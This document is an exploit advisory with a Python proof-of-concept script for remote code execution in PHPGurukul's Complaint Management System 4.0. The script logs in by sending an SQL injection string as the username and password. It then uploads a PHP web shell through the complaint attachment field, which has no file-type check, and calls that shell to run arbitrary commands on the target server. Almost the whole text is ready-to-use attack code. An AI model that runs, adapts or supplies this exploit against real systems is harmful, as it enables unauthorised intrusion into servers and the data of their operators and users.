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# Exploit Title: Complaint Management System 4.0 - Remote Code Execution  
# Exploit Author: Metin Yunus Kandemir  
# Vendor Homepage: https://phpgurukul.com/  
# Software Link: https://phpgurukul.com/complaint-management-sytem/  
# Version: v4.0  
# Category: Webapps  
# Tested on: Xampp for Windows  
# Description:  
# There isn't any file extension control at the "Register Complaint" section of user panel.  
# An unauthorized user can upload and execute php file.  
# Below basic python script will bypass authentication and execute command on target server.  
  
poc.py  
  
#!/usr/bin/python  
  
import requests  
import sys  
  
  
if len(sys.argv) !=3:  
print "[*] Usage: PoC.py rhost/rpath command"  
print "[*] e.g.: PoC.py 127.0.0.1/cms ipconfig"  
exit(0)   
  
rhost = sys.argv[1]  
command = sys.argv[2]  
  
#authentication bypass  
url = "http://"+rhost+"/users/index.php"  
data = {"username": "joke' or '1'='1'#", "password": "joke' or '1'='1'#", "submit": ""}  
  
with requests.Session() as session:  
  
login = session.post(url, data=data, headers = {"Content-Type": "application/x-www-form-urlencoded"})  
  
  
#check authentication bypass  
check = session.get("http://"+rhost+"/users/dashboard.php", allow_redirects=False)  
print ("[*] Status code for login: %s"%check.status_code)  
if check.status_code == 200:  
print ("[+] Authentication bypass was successfull")  
else:  
print ("[-] Authentication bypass was unsuccessful")  
sys.exit()  
  
#upload php file  
ufile = {'compfile':('command.php', '<?php system($_GET["cmd"]); ?>')}  
fdata = {"category": "1", "subcategory": "Online Shopping", "complaintype": " Complaint", "state": "Punjab", "noc": "the end", "complaindetails": "the end","compfile": "commmand.php", "submit": ""}  
furl = "http://"+rhost+"/users/register-complaint.php"  
fupload = session.post(url=furl, files= ufile, data=fdata)  
  
#execution  
final=session.get("http://"+rhost+"/users/complaintdocs/command.php?cmd="+command)  
  
if final.status_code == 200:  
print "[+] Command execution completed successfully.\n"  
print "\tPut on a happy face.\n"  
else:  
print "[-] Command execution was unsuccessful."  
print "\tOne bad day!"  
sys.exit()  
  
print final.text